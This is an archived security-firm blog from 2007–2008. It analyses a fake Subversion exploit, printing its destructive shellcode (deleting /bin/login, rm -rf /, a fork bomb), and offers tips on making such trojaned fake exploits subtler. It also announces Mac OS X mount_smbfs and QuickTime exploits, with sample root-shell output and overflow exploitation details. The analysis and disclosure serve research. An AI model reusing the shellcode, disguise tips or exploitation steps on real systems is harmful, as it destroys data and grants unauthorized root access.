Subreption blog

Tue, 16 Sep 2008

Futile attempts and the joy of locked down Apache processes

Apparently someone, in his glaring innocence, is playing around Apache. Possibly we should start looking at mod_python or maybe mod_ssl. Maybe we can just let RBAC and PaX take care of it. But abuse departments are extremely responsive these days! One wonders what these people think when they have their DSL lines shut down.

Sep  8 16:42:21 vmsrv21 grsec: From 65.190.223.67: signal 11 sent to /usr/sbin/apache2[apache2:28215]
Sep  8 16:42:21 vmsrv21 grsec: From 65.190.223.67: signal 11 sent to /usr/sbin/apache2[apache2:28215]
Sep  8 16:42:21 vmsrv21 grsec: From 65.190.223.67: signal 11 sent to /usr/sbin/apache2[apache2:28934]
Sep  8 16:42:21 vmsrv21 grsec: From 65.190.223.67: signal 11 sent to /usr/sbin/apache2[apache2:28934]
Sep  8 16:42:21 vmsrv21 grsec: From 65.190.223.67: signal 11 sent to /usr/sbin/apache2[apache2:28922]

The grand official Idiot of the Month, for your amusement. You might find it useful to add his IP range to your preferred spam blacklist as well. And another prop to spender for the brute force prevention feature of grsecurity, which makes exploiting re-spawning daemon vulnerabilities a hell more boring and futile. Especially when you have 40 bits of ASLR on your side. Yikes!

OrgName:    Road Runner HoldCo LLC 
OrgID:      RRMA
Address:    13241 Woodland Park Road
City:       Herndon
StateProv:  VA
PostalCode: 20171
Country:    US

ReferralServer: rwhois://ipmt.rr.com:4321

NetRange:   65.184.0.0 - 65.191.255.255 
CIDR:       65.184.0.0/13 
NetName:    RR
NetHandle:  NET-65-184-0-0-1
Parent:     NET-65-0-0-0-0
NetType:    Direct Allocation
NameServer: DNS1.RR.COM
NameServer: DNS2.RR.COM
NameServer: DNS3.RR.COM
NameServer: DNS4.RR.COM
Comment:    
RegDate:    2004-04-07
Updated:    2005-05-16

OrgAbuseHandle: ABUSE10-ARIN
OrgAbuseName:   Abuse 
OrgAbusePhone:  +1-703-345-3416
OrgAbuseEmail:  abuse@rr.com

OrgTechHandle: IPTEC-ARIN
OrgTechName:   IP Tech 
OrgTechPhone:  +1-703-345-3416
OrgTechEmail:  abuse@rr.com

Published on: Tue, 16 Sep 2008. | Path: /security/exploits | Permalink

Fri, 21 Dec 2007

Fake exploits: probably necessary

Yesterday, a message surfaced in full-disclosure, the mostly always funny and chaotic unmoderated security-related list (although the nature of the list these days is ambiguous, it remains as a free alternative to commercially sponsored and more supervised alternatives). It was a supposedly accidental release to the public eye of a remote Subversion exploit (which already seems enough dubious):

/*
 * This exploits a wierd state condition in Subversion < = 1.4.4.
 * When the incoming connection stack is filled via many incoming
 * syns in concurance with shifting the rev_ptr struct over a
 * variable gap of memory a boundary condition occurs which corrupts
 * a func ptr to point several bytes backwards. A call is forced
 * through "checkout-latest-rev" with our shellcode in place.
 *
 * This Vuln is NOT public, do NOT release this code or any
 * information pertaining to this bug.
 *
 * Author: onionring
 */

Behind a serious sounding description, there's really nothing technically valid. It's just "mumbo jumbo" to make it apparently legitimate to any potential user of the exploit (in this case, more than one security guy has probably attempted to use it).

We have a seemingly normal IA32 shellcode (except for the hardcoded NOP sled which is not so stylish):

char sc[] =
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
  "\x31\xC0\x89\xC3\x89\xC1\x41\xB0\x30\xCD\x80\x31\xC0\xFE\xC3\x80"
  "\xFB\x1F\x72\xF3\x04\x40\xCD\x80\x89\xC2\x31\xC0\xB0\x02\xCD\x80"
  "\x39\xC0\x74\x08\x31\xC0\x89\xC3\xB0\x01\xCD\x80\x31\xC0\xB0\x42"
  "\xCD\x80\x43\x39\xDA\x74\x08\x89\xD3\x31\xC0\x04\x25\xCD\x80\x31"
  "\xC0\x50\x68\x6F\x67\x69\x6E\x68\x69\x6E\x2F\x6C\x68\x2F\x2F\x2F"
  "\x62\x89\xE3\x31\xC0\x04\x0A\xCD\x80\x31\xC0\x50\x68\x2A\x2F\x2F"
  "\x2F\x89\xE2\x50\x68\x2D\x72\x66\x66\x89\xE1\x50\x68\x6E\x2F\x72"
  "\x6D\x68\x2F\x2F\x62\x69\x89\xE3\x50\x52\x51\x53\x89\xE1\x31\xD2"
  "\x04\x0B\xCD\x80";

Let's take a look over the disassembly and strings. We notice a call to the signal() system call:

From include/asm-i386/unistd.h
#define __NR_signal              48

From include/asm-generic/signal.h
/* ignore signal */
#define SIG_IGN ((__force __sighandler_t)1)

From include/asm-i386/signal.h
#define SIGHUP           1

00000030  31C0              xor eax,eax
00000032  89C3              mov ebx,eax
00000034  89C1              mov ecx,eax
00000036  41                inc ecx
00000037  B030              mov al,0x30
00000039  CD80              int 0x80

Later it issues a fork() call and, as a reply in full-disclosure thread, seems to be part of a typical fork() bomb procedure.

That's rather uninteresting anyway, except for the fact that its intention is likely to render the machine unusable while the real harmful (or fun, depending if you are watching someone run it, or you are running it yourself in an unprotected environment ;) ) part is executed.

0000006F  31C0              xor eax,eax
00000071  50                push eax
00000072  686F67696E        push dword 0x6e69676f
00000077  68696E2F6C        push dword 0x6c2f6e69
0000007C  682F2F2F62        push dword 0x622f2f2f
00000081  89E3              mov ebx,esp
00000083  31C0              xor eax,eax
00000085  040A              add al,0xa
00000087  CD80              int 0x80

There you go. This annoyance is nothing but an unlink() call to remove the /bin/login file. The situation is aggravated by the fact that the fake exploit, using raw sockets as excuse, requires root privileges to run:

 if (getuid() != 0) {
    fprintf(stderr, "[E] Need root privs for raw sockets\n");
    exit(1);
  }

And finally the mandatory execve() of /bin/rm -rf /, which is typical in these cases.

00000089  31C0              xor eax,eax
0000008B  50                push eax
0000008C  682A2F2F2F        push dword 0x2f2f2f2a
00000091  89E2              mov edx,esp
00000093  50                push eax
00000094  682D726666        push dword 0x6666722d
00000099  89E1              mov ecx,esp
0000009B  50                push eax
0000009C  686E2F726D        push dword 0x6d722f6e
000000A1  682F2F6269        push dword 0x69622f2f
000000A6  89E3              mov ebx,esp
000000A8  50                push eax
000000A9  52                push edx
000000AA  51                push ecx
000000AB  53                push ebx
000000AC  89E1              mov ecx,esp
000000AE  31D2              xor edx,edx
000000B0  040B              add al,0xb
000000B2  CD80              int 0x80

You can use the watson.org LXR installation for looking up system call numbers, and other constants. The disassembly is clear and easy to interpret, it shouldn't be a problem to understand what's going on.
Why are fake exploits necessary? They usually catch script kiddies and other annoying people, and the technically skilled guys won't bother running them without inspection (there are exceptions, though :) ). They serve as great jokes, even if some can cause significant damage to the system (unless you run them inside a hardened chroot environment, with a solid patch like grsecurity that prevents several techniques to break out of the chroot).
How to make them more subtle and reliable? Some simple tips:

XOR is simple, your shellcode should make use of encoded strings. The very first thing most people do is run strings against your exploit in compiled form.
1. Even better, encode the whole shellcode. Metasploit can help you there :)
Quite some script kiddies know how to patch and compile a kernel. They can use Gentoo, and they could be aware of the existence of something wonderful known as PaX. A fake exploit that relies on overflowing a stack-based buffer of its own (in other words, attempting to exploit itself) might not work in some cases.
1. Use a subtle pointer reassignment.
2. Use a signal handler.
3. Obfuscate the calls via macros...
4. mprotect() is your friend. Make it subtle, though.
People will be much more careful with an exploit that requires root privileges to run. And the raw sockets trick has been used way too much already. You really don't need to be root to do real damage.

There have been more elaborated fake exploits released to the public and distributed through legitimate FTP servers. One of them was wu261.c, in 2001.

>Hey, I'm told that this exploit like eats your hard drive or something. >Caveat emptor and all, but I figured since I actually heard about this, >I'd let you know. I guess it's a spoofed note. > BB

Side note: Michal Zalewski (lcamtuf, working now for Google) released back in 2004 a tool to aid in detection of fake exploits, known as "fakebust".

Published on: Fri, 21 Dec 2007. | Path: /security/exploits | Permalink

Wed, 19 Dec 2007

Our last public (Apple Mac OS X) exploit of the year: mount_smbfs

We are happy to announce the availability of a 100% reliable exploit against CVE-2007-3876, the mount_smbfs argument stack-based buffer overflow. Using the shared_region_map_file_np() system call, we map a file containing shellcode at a fixed location, with write, read and execute permissions (VM_PROT_EXECUTE|VM_PROT_READ|VM_PROT_WRITE).

This technique was first documented publicly in a Phrack article by nemo, and has been partially restricted in Leopard. On an unpatched Mac OS X 10.4 installation (only without the update fixing this problem) it will allow any user to gain root privileges.

$ ./mount_smbfs_root
Mac OS X 10.4.10, 10.4.11 mount_smbfs Local Root exploit
Copyright (c) 2007-2008 Subreption LLC. All rights reserved.
Mapping shellcode from file via shared_region_map_file_np()...
Shellcode mapped: mapping starts at 0x9ffff000, shellcode at 9fffff71
Payload size: 1064 (1040 padding bytes), Return address: 0x9fffff71
mount_smbfs: workgroup name 'AAAA...'
malcomx:/Users/nonpriv root# id
uid=0(root) gid=501(nonpriv) groups=501(nonpriv), 81(appserveradm), 79(appserverusr), 80(admin)
malcomx:/Users/nonpriv root# exit
exit

It is available at our corporate public repository, as well as the Milw0rm website.

Apple Mac OS X mount_smbfs Stack Based Buffer Overflow Exploit (At Subreption public repository)
Apple Mac OS X mount_smbfs Stack Based Buffer Overflow Exploit (Mirror)
The original Ruby proof of concept: mount_smbfs_root.rb

Starting January 2008, our focus will be set on the development and polishing of a commercial exploit code and penetration-testing toolset, comprising several reliable exploits and tools to aid security professionals in penetration-tests, IDS and HIPS developers, as well as serving as an educational resource on exploit techniques, IDS evasion and general information security for the Mac OS X, Solaris, Linux and Microsoft Windows platforms, from a strictly technical perspective.

Published on: Wed, 19 Dec 2007. | Path: /security/exploits | Permalink

Exploits of 1990: mount_smbfs brings it on

Who doesn't remember those old root setuid binaries with argument parsing stack buffer overflows, the days when sudo had trivially exploitable vulnerabilities and system administrators panicked at the sight of any setuid binary after a some advisory showed up on BUGTRAQ. Apple had its share of bad luck with one of the latest Security Updates for Mac OS X. But it's 2007, approaching 2008 already, not 1997!

Apparently, a regression was introduced into Tiger via one of the updates (in previous audits we didn't find this binary to be affected by this vulnerability), and made the mount_smbfs root-setuid binary vulnerable to a trivially exploitable stack-based buffer overflow, which allows (root) privilege escalation for any user on the system.

The condition triggers when an overly long string is passed as parameter to the -W (workgroup name) option. Depending on how many registers you require, the padding size is approximately 1040+16 bytes for x86, to overwrite eip.

One of the requirements to abuse this issue properly is doing a setuid(0) call, in order to make the root privileges effective. There are different possibilities to successfully exploit this issue:

Control eax, return to setuid(), with saved eip pointing at system() and argument set to shell of choice (ie. use the SHELL environment variable value).
Find a stable or almost stable location for your shellcode on dynamically allocated memory (in this case, heap memory). This might be tricky for this specific issue, since we are calling a command line tool that does very little use of malloc().
- You might notice some data replication in a MALLOC_LARGE section... it could be in Unicode format.
- Play with sending large arguments to the command line, any changes?
As we explained in previous posts, on PowerPC you don't need to worry about bypassing NX stack: the stack is executable by default. It can't be easier.

Apple definitely needs to deploy some sort of Secure Development Lifecycle. Not because it was popularized by Microsoft, not because we want a cheap shot at Apple, but because it simply works. And we don't agree with some security practices at Microsoft as well (namely the ASLR of Vista; while it's more solid than Leopard's, it's still not enough for many real world scenarios � for in-depth documentation on the ASLR concept, read its PaX project documentation).

Don't call it SDL. Make it the �Apple Secure Development iLifecycle�. But please, security updates also need to be tested against a regression test suite! iWorks 2008 is neat but we don't like vulnerable root-setuid binaries.

Published on: Wed, 19 Dec 2007. | Path: /security/exploits | Permalink

Wed, 28 Nov 2007

Quicktime RTSP Redux released

While we wouldn't release exploit code under normal circumstances, we are pretty much emerging and wanted to show an example of our work. Since this vulnerability was already public, and the Apple security people are most probably working on an imminent update to Quicktime, potential attackers have a limited time-span to abuse it.

Hopefully Apple will speed up on this one and release an update to fix the vulnerability. We enjoy the versatility of Mac OS X on daily basis, and want it to be as more secure as possible.

Thanks to Kevin Finisterre for the testing environment and proofing of the exploit on PowerPC. Thanks to HD Moore for suggestions and the Metasploit project.

The exploit code is available at: static.subreption.com/public/exploits/qtimertsp_redux.rb

Some improvements that might be released:

Better PowerPC target information.
Reliable Microsoft Windows Vista target.
Reliabe Leopard target for x86.

Some screenshots might illustrate the functionality included in the exploit a bit better:

Mac OS X Targets...

Exploit against Mac OS X Tiger Quicktime 7.3

Microsoft Windows Targets...

Memory dump of the payload for Microsoft Windows Executing the exploit from a Microsoft Windows Vista host Connected to a XP SP2 vulnerable host from Microsoft Windows Vista